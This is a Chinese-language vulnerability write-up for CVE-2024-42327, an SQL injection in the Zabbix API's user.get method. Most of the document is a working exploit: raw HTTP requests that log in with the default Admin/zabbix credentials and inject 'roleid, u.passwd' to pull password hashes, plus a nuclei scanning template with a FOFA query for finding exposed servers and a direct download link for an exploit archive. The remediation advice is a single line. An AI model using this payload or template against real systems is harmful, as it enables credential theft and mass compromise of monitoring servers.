漏洞介绍

Zabbix 是一个开源的、企业级的分布式监控解决方案,用于监控各种 IT 资源,包括服务器、网络设备、应用程序和服务。它提供实时监控、数据收集、可视化、警报和报告功能,帮助用户全面了解其 IT 基础架构的运行状况。Zabbix 前端上具有默认用户角色或任何其他授予 API 访问权限的角色的非管理员用户帐户均可利用此漏洞。addRelatedObjects 函数中的 CUser 类中存在 SQLi,此函数由 CUser.get 函数调用,每个具有 API 访问权限的用户均可使用该函数。

影响范围

  • 6.0.0 <= Zabbix <= 6.0.31

  • 6.4.0 <= Zabbix <= 6.4.16

  • Zabbix 7.0.0

漏洞编号

CVE-2024-42327

漏洞复现

POC

POST /api_jsonrpc.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106
{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

POST /api_jsonrpc.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 167
{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "40b23536324a2e3e872f0f446d7a11d0", "id": 1}

nuclei脚本

id: zabbix-api_jsonrpc-sqli
info:  name: zabbix-api_jsonrpc-sqli  author: PokerSec  severity: high  metadata:    fofasearch: app="ZABBIX-监控系统"
requests:  - raw:      - |        POST /api_jsonrpc.php HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json-rpc
        {"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}      - |        POST /api_jsonrpc.php HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json-rpc
        {"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "{{auth}}", "id": 1}
    matchers:      - type: dsl        dsl:          - status_code==200 && contains_all(body_1,"jsonrpc") && contains_all(body_2,"passwd") && contains_all(body_2,"userdirectoryid") && contains_all(body_2,"ts_provisioned")    extractors:      - type: json        internal: true        name: auth        json:          - '.result'

修复意见

官方已更新最新版本,请及时更新

https://www.zabbix.com/

参考

https://github.com/aramosf/cve-2024-42327

https://support.zabbix.com/browse/ZBX-25623

直链下载地址

https://lp.lmboke.com/cve-2024-42327-main.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。